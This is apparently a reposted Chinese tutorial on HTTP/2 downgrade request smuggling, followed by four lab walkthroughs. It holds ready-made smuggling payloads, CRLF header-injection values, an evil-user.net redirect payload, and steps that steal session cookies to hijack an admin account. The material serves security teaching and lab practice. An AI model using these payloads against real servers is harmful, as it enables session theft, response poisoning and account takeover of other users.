WEB安全-金手铐系列-HTTP/2高级请求夹带攻击--Advanced request smuggling

阅读此文需要一定的HTTP基础,最好看过我的上一篇文章学好此文,国家赠送金手铐和职业套装,数年管吃管住-HTTP请求夹带(HTTP request smuggling)若看不懂的话,不要紧,请先三连。后续我会将我的文章根据知识点的先后顺序和难易程度分组,方便大家阅读,谢谢。

一、基础知识

1. 什么是HTTP/2

目前网站中主要使用HTTP/1.0和HTTP/1.1,下一个流行版本就是本文提及的HTTP/2

HTTP/2表现形式为二进制,对HTTP的传输速率进行了深度优化。请求划分三个部分:二进制帧、消息、数据流

注意后续的HTTP协议不再使用小版本号了哦,一律采用大版本号

  • 二进制帧,传输最小单位
  • 消息:逻辑上的HTTP信息,比如请求、响应。由一或多个帧组成
  • 数据流:一个虚拟信道,可以同时承载一条或多条信息,支持双向承载。

因本文主要介绍安全,其他HTTP/2的详细信息,若需了解,请自行学习。

2. HTTP/2请求走私的产生

因为请求走私本质上是利用不同服务器对请求长度头部(Content-Length)解析时产生的差异。
HTTP/2消息为一系列独立的通过网络发送的“帧”。每一帧前面都有一个明确的长度字段,告诉服务器要读入多少字节。因此,请求的长度是其帧长度的总和。
理论上由于以上因素被认为使其天生不受请求走私的影响。
但在实际使用时,由于广泛但危险的HTTP/2降级做法,情况往往并非如此。

3. HTTP/2降级

由于HTTP/2相对较新,支持它的Web服务器必须与仅使用HTTP/1的传统后端进行通信。因此,前端服务器使用HTTP/1语法重写每个传入的HTTP/2请求已成为一种常见做法。然后,该“降级”请求被转发到相关的后端服务器。
在这里插入图片描述

当使用HTTP/1的后端发出响应时,前端服务器反转此过程以生成它返回给客户端的HTTP/2响应。这是可行的,因为协议的每个版本基本上只是表示相同信息的不同方式。在HTTP/2中,HTTP/1消息中的每一项都有一个大致相同的项。
请添加图片描述

Burp对HTTP/2的显示方式
由于HTTP/2是一种二进制协议,需以人类可读的格式表示HTTP/2消息:

  • 将每条消息显示为单个实体,而不是单独的“框架”。
  • 使用纯文本名称和值字段显示标题。
  • 用冒号作为伪头名称的前缀,以帮助将它们与正常头区分开来。

请注意,以上的表现形式与HTTP/2在网络中实际的完全不同(二进制)。

二、漏洞利用

缩写说明 CL=Content-Length TL=Transfer-Encoding

1. H2.CL利用

HTTP/2请求长度不显示。在降级过程中,前端服务器需添加一个HTTP/1内容长度报头,并使用HTTP/2的内置长度机制来获取它的值。但这个内置长度是包括报头长度的(HTTP/1.1 CL一般不含报头长度)。一些前端服务器将在生成的HTTP/1请求中简单地使用此值。

规范规定,HTTP/2请求中的任何内容长度标头必须与使用内置机制计算的长度匹配,
但在降级的时候并不总是正确验证这一点。因此,可通过插入误导性的CL报头来实现请求走私。

HTTP/2可默认判断结束位置,但HTTP/1必须依靠CL头的值来判断,两种协议转换时很可能导致处理不一致。

:method 	POST
:path 	/example
:authority 	vulnerable-website.com
content-type 	application/x-www-form-urlencoded
content-length 	0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10

x=1
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10

x=1GET / H

在执行某些请求走私攻击时,需要将受害者请求的报头附加到走私前缀之后。然而可能导致重复报头错误等。在上面的示例中,我们通过在走私的前缀中包含尾随参数和内容长度标头来缓解这一问题。通过使用略长于正文的内容长度标头,受害者的请求将附加到走私包的Body中

例题1

2. H2.TE漏洞

分块传输编码TE与HTTP/2不兼容,TE报头都应该被剥离,或者完全阻止请求。若前端服务器在降级时,没有去除含有TE报头的报文,可能就会引起请求走私攻击。

:method 	POST
:path 	/example
:authority 	vulnerable-website.com
content-type 	application/x-www-form-urlencoded
transfer-encoding 	chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: bar
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: bar

3. 响应队列中毒

响应队列毒化是一种强大的请求走私攻击形式,它会导致前端服务器将响应从后端匹配到错误的请求。在实践中,这意味着相同前端/后端连接的所有用户得到的响应都被扰乱,被攻击者获取或利用。
这是通过走私一个完整的请求,却在后端产生了两个响应,其中一个发回给请求者,另一个则驻留在响应队列中,反馈给下一个请求者(可下一个要的不是这个响应啊,所以产生了混乱,导致信息响应给了别人)。

获取的响应可能包含敏感的个人或业务数据以及会话令牌等。

该攻击影响较大,正常用户尝试浏览网站时,将收到来自服务器的看似随机的响应,这将阻止大多数功能正常工作。

  • 构造攻击的条件
    • 前、后端服务之前建立的TCP连接,在多个请求/响应周期(会话)中重复使用。
    • 能成功完成独立完整的请求走私攻击,并收到对应的后端响应。
    • 攻击过程中不会导致任何一台服务器关闭TCP连接。(通常服务器在收到无效请求时,因无法确认结束点,会主动关闭连接。)
    • 明确攻击细节产生的影响

提示:只要服务器收到无效请求,即会关闭连接。
但如果仅有一个带有部分请求头的请求行(如 x=1GET / HTTP/1.1 ),后端最终仍会认为是两个完整的请求。不会关闭连接。

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10

x=1GET / HTTP/1.1         (注意此行,第二个请求是GET方法,仅隐藏一个带有部分请求头的请求行)
  • 如果走私也包含正文的请求,则连接的下一个请求将被附加到走私请求的正文中。数据包根据内容长度截断最终请求。结果,后端实际上看到了三个请求,其中第三个“请求”只是一系列剩余的字节:这将导致服务器收到无效请求,关闭连接

前端发送

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 120
Transfer-Encoding: chunked

0

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 25

x=GET / HTTP/1.1
Host: vulnerable-website.com

后端处理后

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 120
Transfer-Encoding: chunked

0

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 25

x=GET / HTTP/1.1
Host: v(因长度为25,将在此处截断,后面为第三个不完整数据包内容)ulnerable-website.com

完整标准的攻击构造

POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: x-www-form-urlencoded\r\n
Content-Length: 61\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /anything HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
GET / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: x-www-form-urlencoded\r\n
Content-Length: 61\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /anything HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
GET / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n

4. 如何窃取其他用户的响应

一个完整的请求走私攻击如下图:
请添加图片描述

两个请求,由于前端以为只发了“一个”请求,所以第一个响应被正常返回给客户端了。
但第二个响应却驻留在了前端与后端之间(响应序列中排第一)。
当后续再有用户正常请求时,这个驻留响应将被发给这个用户,但问题出现了,这时这个用户真实的响应却驻留在了前后端之间。(并在响应序列中排第一)
所以怎么窃取呢,这时如果攻击拿捏好时间,再次访问,则驻留响应就会发给攻击者,使攻击者获取别人的信息。

请添加图片描述

使用Burp Intruder之类的工具,攻击者可以很容易地自动重新发出请求。这样做可以快速获取不同用户的各种回复,其中可能包含有用的数据。只要前端/后端连接保持打开,就可以继续窃取此类响应。连接关闭的确切时间因服务器而异,但常见的默认情况是在处理了100个请求后终止连接。有过成功先例,再次重新毒化一个新连接也很容易。

为了更容易区分窃取响应,请在发送的两个请求中使用不存在的路径。这样自己的请求应该一致地收到404响应,易于区分。

例题 2

5. 通过CRLF注入完成请求走私攻击

部分网站采取了H2.CL和H2.TE攻击的基础防护

  • 验证Content-Length
  • 过滤掉Transfer-Encoding

相对应绕过方式有如下两种

  • 在HTTP/1中,利用服务器处理独立换行符(\n)的差异来走私被禁止的标头。
foo bar\r\nTransfer-Encoding: chunked
  • HTTP/2中 \r\n标头值中不再有任何特殊意义,但在降为1.0时,HTTP/1后端服务器将看到两个不同的标头
foo bar\r\nTransfer-Encoding: chunked
Foo: bar
Transfer-Encoding: chunked

例题 3

6. 其他HTTP/2的报头注入攻击方式

尽管下文介绍的很多种请求被HTTP/2规范正式禁止,但一些服务器未能有效地验证和阻止它们,导致可以利用。

  • 通过标头名称注入

冒号或者\r\n无法在HTTP/2中使用,但是在HTTP/1.1中可以使用。前端服务器未识别出异常,一个数据包传递到后端,后端使用HTTP/1.1识别出多个数据包,造成请求走私

foo: bar\r\nTransfer-Encoding: chunked\r\nX: ignore
Foo: bar\r\n
Transfer-Encoding: chunked\r\n
X: ignore\r\n
  • 伪头部标头

HTTP/2中没有请求行或者状态行,这些数据信息是通过伪头部放到请求的最前面的(二进制)。在Burp中文本话表现为带有冒号开头的伪头部,与普通报头区分开来。伪标头一般有五个:

  1. :method-请求方法。

如果method值中可包含空格,则您可以按如下方式注入完全不同的请求行

:method GET /admin HTTP/1.1
:path /anything
:authority vulnerable-website.com
GET /admin HTTP/1.1 /anything HTTP/1.1
Host: vulnerable-website.com
  1. :path-请求路径。多重表头攻击。请注意,这包括查询字符串。
:method POST
:path /anything
:path /admin
:authority vulnerable-website.com

寻找前后端服务器处理差异,是否可以直接访问受控路径/admin

  1. :authority-大致相当于HTTP/1 host标头。

请参考文章 《host头攻击》

  1. :scheme-请求协议,通常为HTTP或HTTPS。攻击尝试写入全路径
:method 	GET
:path 	/anything
:authority 	vulnerable-website.com
:scheme 	https://evil-user.net/poison?

导致后续处理时出现异常,产生异常跳转。

:status 	301
location 	https://evil-user.net/poison?://vulnerable-website.com/anything/
  1. :status-响应状态代码(不在请求中使用)。

当网站将请求降级为HTTP/1时,使用其中一些伪头的值来动态构建请求行。这使构建攻击成为可能。

7. HTTP/2请求报头差分多个请求包

在程序有效验证Content-Length并且不支持Transfer-Encoding时,导致上述方法失效时,可尝试此方法。

:method GET
:path /
:authority vulnerable-website.com
foo bar\r\n\r\n GET /admin HTTP/1.1\r\n Host: vulnerable-website.com

例题 4

8. HTTP请求隧道

前述的各种利用方式都是建立在同一连接可以处理多个请求,但万一服务器对此有更严格的控制,甚至是不允许复用同一链接呢。

  • 同一IP或同一客户端才能使用一个连接
    请添加图片描述
  • 利用请求隧道获取内部头部
    1. 漏洞确认:单纯使用HTTP/1其实无法确认是否能使用,但是HTTP/2降到1的程序,如果发送一个请求,却收到两个响应,则一存在请求走私漏洞。
    2. 获取内部添加的请求头:前后端对一个请求无差异,但是在处理请求头结束时往往有细微差别,前端默认原请求头末尾为标头结束。但后端往往认为\r\n是,则会将内部添加的请求头认为是正文一部分进行响应,导致泄露。
:method 	POST
:path 	/comment
:authority 	vulnerable-website.com
content-type 	application/x-www-form-urlencoded
foo 	

bar\r\n
Content-Length: 200\r\n
\r\n
comment=
x=1 
POST /comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 200

comment=X-Internal-Header: secretContent-Length: 3   (此处泄露内部请求头)
x=1

三、漏洞实例

1. H2.CL请求走私(H2.CL request smuggling

  • 目标

引诱目标用户从攻击服务器加载恶意的JavaScript文件并调alert(document.cookie)。

  • 解题思路
    1. 探索网站,在repeater选项中,关掉**update Content-length ** 打开 Allow HTTP/2 ALPN override
    2. 尝试如下代码可以任意发文自定义Host
POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Content-Length: 0

GET /resources HTTP/1.1
Host: 自定义任意               
Content-Length: 5

x=1
  1. 构造攻击包。攻击服务其上,路径改为/resources,body改为alert(document.cookie)
POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Content-Length: 0

GET /resources HTTP/1.1
Host: YOUR-EXPLOIT-SERVER-ID.web-security-academy.net
Content-Length: 5

x=1

2. 通过H2.TE请求走私实现响应队列中毒(Response queue poisoning via H2.TE request smuggling

  • 目标

通过毒化响应队列,进入/admin控制面板,删除账户calors
管理员每15秒登陆一次,链接每10次通讯后重置。

  • 解题思路

这道题设计的不难,但是能清晰的说明上述介绍的知识点

  1. 尝试如下代码,如果出现第一次请求正常200响应,紧接着第二次请求,大概率出现404响应,则以为着存在请求走私漏洞。
POST / HTTP/2
Host: acf11f851ee7b58fc09656df00570055.web-security-academy.net
Transfer-Encoding: chunked

0

SMUGGLED    (这是遗留的字段,会与第二个请求混在一起,形成无效访问,造成404响应)
  1. 构造独立请求走私攻击包,路径替换为不存在路径,一般响应为404或200,但是若获取到302响应则为用户响应被窃取到。多尝试几次
POST /X HTTP/2
Host: acf11f851ee7b58fc09656df00570055.web-security-academy.net
Transfer-Encoding: chunked

0

GET /x HTTP/1.1
Host: acf11f851ee7b58fc09656df00570055.web-security-academy.net

               (末尾空两行,切记)
HTTP/2 302 Found
Location: /my-account
Set-Cookie: session=tDvMqCovLcByWPBbS1VAlJZauuXroeLw; Secure; HttpOnly; SameSite=None
Content-Length: 0


  1. 提换cookie,访问/admin
GET /admin HTTP/2
Host: acf11f851ee7b58fc09656df00570055.web-security-academy.net
Cookie: session=tDvMqCovLcByWPBbS1VAlJZauuXroeLw


<a href="/my-account?id=administrator">My account</a><p>|</p>
</section>
</header>
<header class="notification-header">
</header>
<section>
  <h1>Users</h1>
  <div>
    <span>carlos - </span>
    <a href="/admin/delete?username=carlos">Delete</a>
  </div>
  <div>
    <span>wiener - </span>
    <a href="/admin/delete?username=wiener">Delete</a>
  </div>
  1. 来吧,直接构造删除账户carlos的数据包
GET /admin/delete?username=carlos HTTP/2
Host: acf11f851ee7b58fc09656df00570055.web-security-academy.net
Cookie: session=tDvMqCovLcByWPBbS1VAlJZauuXroeLw


成功。

因为使用的HTTP/2.0,通常认为2.0更难以攻击,又是二进制。所以安全机制不太重视,增加验证又比较繁琐。所以一旦攻击者打开思路尝试2.0的攻击,网站往往不堪一击。这也是新技术的通病,在前期安全上都是比较脆弱的。
无比怀念曾经美好的田园时代,没有那么多安全措施,审计记录。网上信息,随便看、随便拿…

3. 通过CRLF注入的HTTP/2请求走私(HTTP/2 request smuggling via CRLF injection

  • 目标

通过HTTP/2请求走私攻击,访问其他用户账户
用户每15秒登陆访问一次首页。

  • 解题思路

这套题解题思路与上文介绍的方法一致,只是操作手法上需要点技巧

  1. 首先熟悉网站逻辑,发现搜索框存在查看历史记录功能。
  2. 构思攻击方式,是否可以将获取的其他用户请求,作为查询参数记录再次,从而获得受害者的session。开始测试
  3. 首先测试是否存在请求走私的漏洞
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
foo: bar\r\nTransfer-Encoding: chunked      (通过burp的inspec更改哦shift+enter)

0

SMUGGLED

第二个响应包出现404,成功

  1. 构造正式攻击包
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
foo: bar\r\nTransfer-Encoding: chunked      (通过burp的inspec更改哦shift+enter)

0

POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=YOUR-SESSION-COOKIE    (从你原始访问中查找)
Content-Length: 800

search=x                                (成功后,受害用户的请求会追加在X的后面)
x GET / HTTP/1.1 Host: acdc1f3b1fe924f3c0a40be5003700bc.web-security-academy.net Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US Cookie: victim-fingerprint=qvHGe1m6kiIC3EcMdWcnksGZ6CCm2mKm; secret=3ueqN4UctgUj1NzlqzbqiHS3xFTXuPvw; session=zZYqqqLYqWV9GmHigSAktW9ZK2PEX7Ln; _lab_analytics=ONoFOFv7dqHOhmz26Yiq20JD3mOfvBzrEQBDtUnnDTjCsyyhmxDZ

得到session

  1. 替换访问首页数据包的session即可

4. 通过CRLF注入拆分HTTP/2请求(HTTP/2 request splitting via CRLF injection

  • 目标

通过毒化响应队列,进入/admin控制面板,删除账户calors
管理员每15秒登陆一次,链接每10次通讯后重置。
本提头部过滤不足

  • 解题思路

解题思路与例题2几乎一样,仅仅是构造请求走私攻击包时,无法使用上述方法,只得尝试上文介绍的 7. HTTP/2请求报头差分多个请求包方式

GET /X HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
foo: bar\r\n
\r\n
GET /x HTTP/1.1\r\n
Host: YOUR-LAB-ID.web-security-academy.net

剩余和例题2完全相同。不再赘述

猜你喜欢

转载自blog.csdn.net/eason612/article/details/124948386